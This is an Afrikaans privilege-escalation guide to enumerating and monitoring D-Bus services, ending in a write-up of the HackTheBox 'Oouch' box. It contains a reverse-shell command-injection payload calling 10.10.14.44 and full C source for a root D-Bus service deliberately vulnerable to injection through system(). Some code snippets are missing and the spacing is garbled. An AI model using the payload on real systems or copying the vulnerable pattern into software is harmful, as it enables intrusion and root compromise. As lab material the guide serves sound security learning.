D-Bus word gebruik as die inter-proses kommunikasie (IPC) mediator in Ubuntu desktop omgewings. Op Ubuntu word die gelyktydige werking van verskeie boodskapbusse waargeneem: die stelselsbus, wat hoofsaaklik deur bevoegde dienste gebruik word om dienste wat relevant is oor die stelsel bloot te stel, en 'n sessiebus vir elke ingelogde gebruiker, wat dienste blootstel wat slegs relevant is vir daardie spesifieke gebruiker. Die fokus hier is hoofsaaklik op die stelselsbus weens die verband met dienste wat op hoër bevoegdhede (bv. root) loop, aangesien ons doel is om bevoegdhede te verhoog. Dit word opgemerk dat D-Bus se argitektuur 'n 'router' per sessiebus gebruik, wat verantwoordelik is vir die herleiding van kliëntboodskappe na die toepaslike dienste gebaseer op die adres wat deur die kliënte vir die diens wat hulle wil kommunikeer, gespesifiseer is.
Dienste op D-Bus word gedefinieer deur die objekte en interfaces wat hulle blootstel. Objekte kan vergelyk word met klasinstansies in standaard OOP tale, met elke instansie uniek geïdentifiseer deur 'n objekpad. Hierdie pad, soortgelyk aan 'n lêerstelselpunt, identifiseer uniek elke objek wat deur die diens blootgestel word. 'n Sleutelinterface vir navorsingsdoeleindes is die org.freedesktop.DBus.Introspectable interface, wat 'n enkele metode, Introspect, bevat. Hierdie metode keer 'n XML voorstelling van die objek se ondersteunende metodes, seine, en eienskappe terug, met 'n fokus hier op metodes terwyl eienskappe en seine weggelaat word.
Vir kommunikasie met die D-Bus interface, is twee gereedskap gebruik: 'n CLI-gereedskap genaamd gdbus vir maklike aanroep van metodes wat deur D-Bus in skripte blootgestel word, en D-Feet, 'n Python-gebaseerde GUI-gereedskap wat ontwerp is om die dienste wat beskikbaar is op elke bus te enumerate en om die objekte wat in elke diens bevat is, te vertoon.
sudoapt-getinstalld-feet
In die eerste beeld word dienste wat geregistreer is met die D-Bus stelselsbus getoon, met org.debin.apt spesifiek uitgelig na die keuse van die Stelselsbus-knoppie. D-Feet vra hierdie diens vir voorwerpe, wat interfaces, metodes, eienskappe en seine vir gekose voorwerpe vertoon, soos gesien in die tweede beeld. Elke metode se handtekening is ook gedetailleerd.
'n Opmerklike kenmerk is die vertoning van die diens se proses ID (pid) en opdraglyn, nuttig om te bevestig of die diens met verhoogde voorregte loop, belangrik vir navorsingsrelevansie.
D-Feet laat ook metode-aanroep toe: gebruikers kan Python-uitdrukkings as parameters invoer, wat D-Feet na D-Bus tipes omskakel voordat dit aan die diens oorgedra word.
Let egter daarop dat sommige metodes verifikasie vereis voordat ons dit kan aanroep. Ons sal hierdie metodes ignoreer, aangesien ons doel is om ons voorregte te verhoog sonder om eers inligting te hê.
Let ook daarop dat sommige van die dienste 'n ander D-Bus diens genaamd org.freedeskto.PolicyKit1 vra of 'n gebruiker toegelaat moet word om sekere aksies uit te voer of nie.
Cmd lyn Enumerasie
Lys Diens Voorwerpe
Dit is moontlik om geopende D-Bus interfaces te lys met:
Van wikipedia: Wanneer 'n proses 'n verbinding met 'n bus opstel, ken die bus 'n spesiale busnaam aan die verbinding toe wat unieke verbindingsnaam genoem word. Busname van hierdie tipe is onveranderlik—dit is gewaarborg dat hulle nie sal verander solank die verbinding bestaan nie—en, meer belangrik, hulle kan nie hergebruik word gedurende die bus se lewensduur nie. Dit beteken dat geen ander verbinding met daardie bus ooit so 'n unieke verbindingsnaam toegeken sal word nie, selfs al sluit dieselfde proses die verbinding met die bus en skep 'n nuwe. Unieke verbindingsname is maklik herkenbaar omdat hulle begin met die—andersins verbode—dubbelepuntkarakter.
Diensobjek Inligting
Dan kan jy 'n paar inligting oor die koppelvlak verkry met:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Lys Interfaces van 'n Diensobjek
Jy moet genoeg regte hê.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Let op hoe in hierdie voorbeeld die nuutste interface gekies is wat ontdek is met die tree parameter (sien vorige afdeling):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Note die metode .Block van die interface htb.oouch.Block (die een waarin ons belangstel). Die "s" van die ander kolomme kan beteken dat dit 'n string verwag.
Monitor/Vang Interface
Met genoeg voorregte (net send_destination en receive_sender voorregte is nie genoeg nie) kan jy 'n D-Bus kommunikasie monitor.
As jy weet hoe om 'n D-Bus konfigurasie lêer te konfigureer om nie-root gebruikers toe te laat om die kommunikasie te snuffel, kontak asseblief my!
Verskillende maniere om te monitor:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
In die volgende voorbeeld word die koppelvlak htb.oouch.Block gemonitor en word die boodskap "lalalalal" deur miskommunikasie gestuur:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
U kan capture gebruik in plaas van monitor om die resultate in 'n pcap-lêer te stoor.
Filtrering van al die geraas
As daar net te veel inligting op die bus is, gebruik 'n ooreenkomsreël soos volg:
As gebruiker qtc binne die gasheer "oouch" van HTB kan jy 'n onverwagte D-Bus konfigurasie lêer vind geleë in /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Nota van die vorige konfigurasie dat jy die gebruiker root of www-data moet wees om inligting te stuur en te ontvang via hierdie D-BUS kommunikasie.
As gebruiker qtc binne die docker houer aeb4525789d8 kan jy 'n paar dbus verwante kode in die lêer /code/oouch/routes.py. vind. Dit is die interessante kode:
As you can see, it is verbinding maak met 'n D-Bus-koppelvlak en stuur na die "Block" funksie die "client_ip".
Aan die ander kant van die D-Bus-verbinding is daar 'n C-gecompileerde binêre wat loop. Hierdie kode is luister in die D-Bus-verbinding vir IP-adres en roep iptables aan via system funksie om die gegewe IP-adres te blokkeer.
Die oproep na system is doelbewus kwesbaar vir opdraginjekie, so 'n payload soos die volgende sal 'n omgekeerde shell skep: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploit dit
Aan die einde van hierdie bladsy kan jy die volledige C-kode van die D-Bus-toepassing vind. Binne dit kan jy tussen die lyne 91-97 hoe die D-Bus objek paden koppelvlak naam ** geregistreer** word. Hierdie inligting sal nodig wees om inligting na die D-Bus-verbinding te stuur:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Ook, in lyn 57 kan jy vind dat die enigste metode geregistreer vir hierdie D-Bus kommunikasie genoem word Block(Dit is hoekom in die volgende afdeling die payloads na die diens objek htb.oouch.Block, die koppelvlak /htb/oouch/Block en die metodenaam Block gestuur gaan word):
Die volgende python kode sal die payload na die D-Bus verbinding stuur na die Block metode via block_iface.Block(runme) (let op dat dit uit die vorige stuk kode onttrek is):
dbus-send is 'n hulpmiddel wat gebruik word om boodskappe na “Message Bus” te stuur
Message Bus – 'n sagteware wat deur stelsels gebruik word om kommunikasie tussen toepassings maklik te maak. Dit is verwant aan Message Queue (boodskappe is in volgorde) maar in Message Bus word die boodskappe in 'n subskripsiemodel gestuur en ook baie vinnig.
“-system” etiket word gebruik om te noem dat dit 'n stelselsboodskap is, nie 'n sessieboodskap nie (per standaard).
“–print-reply” etiket word gebruik om ons boodskap toepaslik te druk en enige antwoorde in 'n menslike leesbare formaat te ontvang.
“–dest=Dbus-Interface-Block” Die adres van die Dbus-koppelvlak.
“–string:” – Tipe boodskap wat ons wil stuur na die koppelvlak. Daar is verskeie formate om boodskappe te stuur soos dubbel, bytes, booleans, int, objpath. Van hierdie, is die “object path” nuttig wanneer ons 'n pad van 'n lêer na die Dbus-koppelvlak wil stuur. Ons kan 'n spesiale lêer (FIFO) in hierdie geval gebruik om 'n opdrag na die koppelvlak te stuur in die naam van 'n lêer. “string:;” – Dit is om die objekpad weer aan te roep waar ons die FIFO omgekeerde skulp lêer/opdrag plaas.
Note dat in htb.oouch.Block.Block, die eerste deel (htb.oouch.Block) verwys na die diensobjek en die laaste deel (.Block) verwys na die metode naam.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}